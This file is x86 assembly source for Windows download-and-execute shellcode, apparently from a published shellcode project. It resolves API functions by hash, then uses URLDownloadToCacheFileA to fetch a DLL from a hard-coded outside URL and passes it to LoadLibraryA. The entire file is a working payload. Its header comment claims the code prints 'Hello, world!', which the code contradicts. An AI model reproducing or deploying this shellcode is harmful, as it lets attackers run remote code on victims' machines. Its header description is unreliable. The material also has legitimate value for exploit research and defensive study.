; Copyright (c) 2009-2010, Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
; Project homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/
; All rights reserved. See COPYRIGHT.txt for details.
BITS 32
; Windows x86 null-free shellcode that writes "Hello, world!" to stdout.
; Works in any console application for Windows 5.0-7.0 all service packs.
; (See http://skypher.com/wiki/index.php/Hacking/Shellcode).
; This version uses 16-bit hashes.
%define url 'http://skypher.com/dll'
%strlen sizeof_url url
%include 'w32-dl-loadlib-shellcode-hash-list.asm'
%define B2W(b1,b2) (((b2) << 8) + (b1))
%define W2DW(w1,w2) (((w2) << 16) + (w1))
%define B2DW(b1,b2,b3,b4) (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1))
%define buffer_size 0x7C
%ifdef STACK_ALIGN
AND SP, 0xFFFC
%endif
MOV EDI, W2DW(hash_kernel32_LoadLibraryA, hash_urlmon_URLDownloadToCacheFileA)
find_hash: ; Find ntdll's InInitOrder list of modules:
PUSH EDI ; Stack = (hash, hash) [, &(url), &(LoadLibraryA)]
XOR ESI, ESI ; ESI = 0
MOV ESI, [FS:ESI + 0x30] ; ESI = &(PEB) ([FS:0x30])
MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr
MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (first module)
next_module: ; Get the baseaddress of the current module and find the next module:
MOV EBP, [ESI + 0x08] ; EBP = InInitOrder[X].base_address
MOV ESI, [ESI] ; ESI = InInitOrder[X].flink == InInitOrder[X+1]
get_proc_address_loop: ; Find the PE header and export and names tables of the module:
MOV EBX, [EBP + 0x3C] ; EBX = &(PE header)
MOV EBX, [EBP + EBX + 0x78] ; EBX = offset(export table)
ADD EBX, EBP ; EBX = &(export table)
MOV ECX, [EBX + 0x18] ; ECX = number of name pointers
JCXZ next_module ; No name pointers? Next module.
next_function_loop: ; Get the next function name for hashing:
MOV EDI, [EBX + 0x20] ; EDI = offset(names table)
ADD EDI, EBP ; EDI = &(names table)
MOV EDI, [EDI + ECX * 4 - 4] ; EDI = offset(function name)
ADD EDI, EBP ; EDI = &(function name)
XOR EAX, EAX ; EAX = 0
CDQ ; EDX = 0
hash_loop: ; Hash the function name and compare with requested hash
XOR DL, [EDI]
ROR DX, BYTE hash_ror_value
SCASB
JNE hash_loop
CMP DX, [ESP]
LOOPNE next_function_loop ; Not the right hash and functions left in module? Next function
JNE next_module ; Not the right hash and no functions left in module? Next module
; Found the right hash: get the address of the function:
MOV EDX, [EBX + 0x24] ; ESI = offset ordinals table
ADD EDX, EBP ; ESI = &oridinals table
MOVZX EDX, WORD [EDX + 2 * ECX] ; ESI = ordinal number of function
MOV EDI, [EBX + 0x1C] ; EDI = offset address table
ADD EDI, EBP ; EDI = &address table
ADD EBP, [EDI + 4 * EDX] ; EBP = &(function)
; Move to the next hash, this sets ECX to 0 if there are no more hashes:
POP CX ; CX = hash | Stack = hash [, &(url), &(LoadLibraryA)]
POP CX ; CX = hash | Stack = [&(url), &(LoadLibraryA)]
MOV AH, 0x1 ; EAX = 0x100
JCXZ download_and_loadlibrary ; No more hashes
MOV EDI, ECX ; EDI = hashes
SUB ESP, EAX ; Stack = buffer (0x100 bytes)
PUSH AX ; Stack = (0, 1), buffer
PUSH B2DW('l', 'm', 'o', 'n') ; Stack = "lmon", (0, 1), buffer
PUSH WORD B2W('u', 'r') ; Stack = "urlmon", (0, 1), buffer
PUSH ESP ; Stack = &("urlmon"), "urlmon", (0, 1), buffer
CALL EBP ; LoadLibraryA("urlmon")
PUSH EBP ; Stack = &(LoadLibraryA), buffer
CALL find_hash ; Stack = &(url), &(LoadLibraryA), buffer
db url
download_and_loadlibrary: ; Stack = &(url), &(LoadLibraryA), buffer
POP ESI ; ESI = &(url) | Stack = &(LoadLibraryA), buffer
POP EDX ; EDX = &(LoadLibraryA) | Stack = buffer
; Copy url to stack and NULL terminate it:
MOV EDI, ESP ; EDI = &(buffer)
PUSH BYTE sizeof_url ;
POP ECX ; ECX = sizeof(url)
REP MOVSB ; Stack = url buffer | EDI = &(buffer)
STOSB ; Stack = url, 0, buffer | EDI = &(buffer)
MOV ESI, ESP ; ESI = &(url)
; Create a ret-into-libc stack chain to make URLDownloadToCacheFileA() return to LoadLibraryA():
; LoadLibraryA(
PUSH EDI ; __in LPCTSTR lpFileName = &(buffer)
PUSH ECX ; ) return address = NULL
; URLDownloadToCacheFileA(
PUSH ECX ; __in IBindStatusCallback *pBSC = NULL
PUSH ECX ; DWORD dwReserved = NULL
; Our buffer is not really 0x100 bytes long anymore because we used part of it to store the URL... oh well.
PUSH EAX ; __in DWORD cchFileName = sizeof(buffer)
PUSH EDI ; __out LPTSTR szFileName = &(buffer)
PUSH ESI ; __in LPCSTR szURL = &(url)
PUSH ECX ; __in LPUNKNOWN lpUnkcaller = NULL
PUSH EDX ; ) return address = LoadLibraryA
; Start the ret-into-libc chain:
JMP EBP ; Jump to URLDownloadToCacheFileA, then return to LoadLibraryA
